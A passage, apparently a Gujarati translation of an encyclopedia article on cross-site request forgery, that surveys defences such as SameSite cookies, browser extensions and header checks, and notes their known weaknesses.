"સેમસાઈટ" લક્ષણનો સમાવેશ કરી શકાય છે, બ્રાઉઝરને સૂચના આપે છે કે કૂકીને ક્રોસ-સાઇટ વિનંતીઓ સાથે જોડવી કે નહીં. જો આ લક્ષણ "કડક" પર સેટ કરેલું હોય, તો કૂકી માત્ર તે જ-સાઇટ વિનંતીઓ પર મોકલવામાં આવશે, જે CSRF ને બિનઅસરકારક બનાવશે. જો કે, આ માટે બ્રાઉઝરને એટ્રિબ્યુટને ઓળખવા અને યોગ્ય રીતે અમલમાં મૂકવાની જરૂર છે. ક્લાયન્ટ-સાઇડ સલામતી બ્રાઉઝર એક્સ્ટેન્શન્સ જેમ કે વિનંતી નીતિ (મોઝિલા ફાયરફોક્સ માટે) અથવા (ફાયરફોક્સ અને ગૂગલ ક્રોમ/ક્રોમિયમ બંને માટે) ક્રોસ-સાઇટ વિનંતીઓ માટે ડિફોલ્ટ-અસ્વીકાર નીતિ પ્રદાન કરીને સી. એસ. આર. એફ. ને અટકાવી શકે છે. જો કે, આ ઘણી વેબસાઇટ્સની સામાન્ય કામગીરીમાં નોંધપાત્ર રીતે દખલ કરી શકે છે. સીએસફાયર એક્સ્ટેંશન (ફાયરફોક્સ માટે પણ) ક્રોસ-સાઇટ વિનંતીઓમાંથી પ્રમાણીકરણ માહિતીને દૂર કરીને, સામાન્ય બ્રાઉઝિંગ પર ઓછી અસર સાથે સીએસઆરએફની અસરને ઘટાડી શકે છે. ફાયરફોક્સ માટેનું નોસ્ક્રિપ્ટ એક્સ્ટેંશન વિશ્વસનીય અને અવિશ્વસનીય સાઇટ્સને અલગ કરીને અને અવિશ્વસનીય સાઇટ્સ દ્વારા વિશ્વસનીય સાઇટ્સને મોકલવામાં આવેલી પોસ્ટ વિનંતીઓમાંથી પ્રમાણીકરણ અને પેલોડને દૂર કરીને સી. એસ. આર. એફ. ના જોખમોને ઘટાડે છે. નોસ્ક્રિપ્ટમાં એપ્લિકેશન બાઉન્ડ્રી એનફોર્સર મોડ્યુલ ઇન્ટરનેટ પૃષ્ઠોમાંથી સ્થાનિક સાઇટ્સ પર મોકલવામાં આવેલી વિનંતીઓને પણ અવરોધિત કરે છે (દા. ત. લોકલહોસ્ટ), સ્થાનિક સેવાઓ (જેમ કે યુટોરેન્ટ) અથવા રાઉટર્સ પર સી. એસ. આર. એફ. ના હુમલાઓને અટકાવે છે. ફાયરફોક્સ માટેનું સેલ્ફ ડિસ્ટ્રક્ટિંગ કૂકીઝ એક્સ્ટેંશન સી. એસ. આર. એફ. થી સીધું રક્ષણ આપતું નથી, પરંતુ કૂકીઝ ખુલ્લા ટેબ સાથે સંકળાયેલી ન હોય તે જલદી તેને કાઢી નાંખીને એટેક વિન્ડોને ઘટાડી શકે છે. અન્ય તકનીકો ઐતિહાસિક રીતે સી. એસ. આર. એફ. ના નિવારણ માટે વિવિધ અન્ય તકનીકોનો ઉપયોગ કરવામાં આવ્યો છે અથવા પ્રસ્તાવિત કરવામાં આવી છેઃ વિનંતીના હેડરમાં X-રિક્વેસ્ટેડ-વિથ (રૂબી ઓન રેલ્સ દ્વારા v2.0 પહેલાં અને જાંગો દ્વારા v1.2.5 પહેલાં) છે તેની ચકાસણી કરવી, અથવા HTTP રેફરર હેડર અને/અથવા HTTP ઓરિજિન હેડરને તપાસવું. વિનંતી અધિકૃત પૃષ્ઠ પરથી આવી રહી છે કે કેમ તે જોવા માટે HTTP સંદર્ભ હેડરને તપાસવું સામાન્ય રીતે એમ્બેડેડ નેટવર્ક ઉપકરણો માટે વપરાય છે કારણ કે તે મેમરી જરૂરિયાતોમાં વધારો કરતું નથી. જો કે, રેફરર હેડરને બાકાત રાખતી વિનંતીને અનધિકૃત ગણવામાં આવવી જોઈએ કારણ કે હુમલાખોર એ. એફ. ટી. પી. અથવા એચ. ટી. ટી. પી. એસ. યુ. આર. એલ. માંથી વિનંતીઓ જારી કરીને રેફરર હેડરને દબાવી શકે છે. આ કડક સંદર્ભ માન્યતા બ્રાઉઝર્સ અથવા પ્રોક્સીઓ સાથે સમસ્યાઓનું કારણ બની શકે છે જે ગોપનીયતા કારણોસર સંદર્ભ હેડરને અવગણે છે. ઉપરાંત, ફ્લેશની જૂની આવૃત્તિઓ (9.0.18 પહેલાં) દુર્ભાવનાપૂર્ણ ફ્લેશને CRLF ઇન્જેક્શનનો ઉપયોગ કરીને મનસ્વી HTTP વિનંતી શીર્ષકો સાથે GET અથવા POST વિનંતીઓ પેદા કરવાની મંજૂરી આપે છે. ક્લાયન્ટમાં સમાન સી. આર. એલ. એફ. ઈન્જેક્શન નબળાઈઓનો ઉપયોગ એચ. ટી. ટી. પી. વિનંતીના રેફરરને છેતરવા માટે થઈ શકે છે. પોસ્ટ વિનંતી પદ્ધતિને થોડા સમય માટે યુઆરએલ (GET પદ્ધતિનો ઉપયોગ કરીને) માં પરિમાણોનો ઉપયોગ કરીને તુચ્છ CSRF હુમલાઓ સામે રોગપ્રતિકારક તરીકે જોવામાં આવી હતી. જો કે, POST અને અન્ય કોઈપણ HTTP પદ્ધતિ બંને હવે XMLHttpRequest નો ઉપયોગ કરીને સરળતાથી ચલાવી શકાય છે. અનપેક્ષિત GET વિનંતીઓને ફિલ્ટર કરવાથી હજુ પણ કેટલાક ચોક્કસ હુમલાઓને અટકાવવામાં આવે છે, જેમ કે દૂષિત છબી URL અથવા લિંક સરનામાંઓનો ઉપયોગ કરીને ક્રોસ-સાઇટ હુમલાઓ અને <સ્ક્રિપ્ટ> ઘટકો (જાવાસ્ક્રિપ્ટ અપહરણ) દ્વારા ક્રોસ-સાઇટ માહિતી લિકેજ; તે આક્રમક વેબ ક્રોલર્સ અને લિંક પ્રીફેચિંગ સાથે (બિન-સુરક્ષા-સંબંધિત) સમસ્યાઓને પણ અટકાવે છે. ક્રોસ-સાઇટ સ્ક્રિપ્ટીંગ (XSS) નબળાઈઓ (સમાન ડોમેન પર ચાલતી અન્ય એપ્લિકેશનોમાં પણ) હુમલાખોરોને આવશ્યકપણે તમામ CSRF નિવારણોને બાયપાસ કરવાની મંજૂરી આપે છે. BREACH કન્ફ્યૂઝ્ડ ડેપ્યુટી પ્રોબ્લેમ CRIME વેબ મેસેજિંગ હીપ સ્પ્રેઇંગ રીપ્લે એટેક સેશન ફિક્સેશન એપ્લિકેશન સુરક્ષા સંદર્ભો બાહ્ય લિંક્સ ક્રોસ સાઇટ વિનંતી બનાવટ વિશે સૌથી વધુ નાપસંદ કરાયેલ હકીકત ક્રોસ-સાઇટ વિનંતી બનાવટી FAQ ક્રોસ-સાઇટ વિનંતી વેબ એપ્લિકેશન સુરક્ષા કન્સોર્ટિયમ થ્રેટ ક્લાસિફિકેશન પ્રોજેક્ટ વેબ સુરક્ષા શોષણમાંથી બનાવટ